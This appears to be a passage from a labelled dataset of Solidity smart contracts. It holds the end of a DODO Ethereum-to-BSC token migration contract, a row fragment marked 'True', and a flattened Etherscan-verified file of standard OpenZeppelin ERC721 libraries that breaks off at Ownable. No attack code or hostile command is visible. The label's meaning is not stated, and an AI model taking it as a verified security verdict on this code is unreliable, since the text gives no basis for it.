require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/DODOToken/DODOMigrationBSC.sol
/**
* @title DODOMigration between Ethereum and BSC
* @author DODO Breeder
*/
contract DODOMigrationBSC is InitializableOwnable {
using SafeMath for uint256;
// ============ Storage ============
address public immutable _ETH_DODO_TOKEN_;
address public immutable _DODO_APPROVE_PROXY_;
mapping(address => uint256) public balances;
constructor(address ethDodoToken, address dodoApproveProxy) public {
_ETH_DODO_TOKEN_ = ethDodoToken;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
// ============ Events ============
event Lock(address indexed sender, address indexed mintToBscAccount, uint256 amount);
event Unlock(address indexed to, uint256 amount);
// ============ Functions ============
function lock(uint256 amount, address mintToBscAccount) external {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(
_ETH_DODO_TOKEN_,
msg.sender,
address(this),
amount
);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Lock(msg.sender, mintToBscAccount, amount);
}
function unlock(address unlockTo, uint256 amount) external onlyOwner {
require(balances[unlockTo] >= amount);
balances[unlockTo] = balances[unlockTo].sub(amount);
IERC20(_ETH_DODO_TOKEN_).transfer(unlockTo, amount);
emit Unlock(unlockTo, amount);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-09-21
*/
// File: node_modules\@openzeppelin\contracts\utils\introspection\IERC165.sol
// SPDX-License-Identifier MIT AND GPL-3.0-only
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\extensions\IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: node_modules\@openzeppelin\contracts\utils\introspection\ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\extensions\IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin\contracts\token\ERC721\extensions\ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
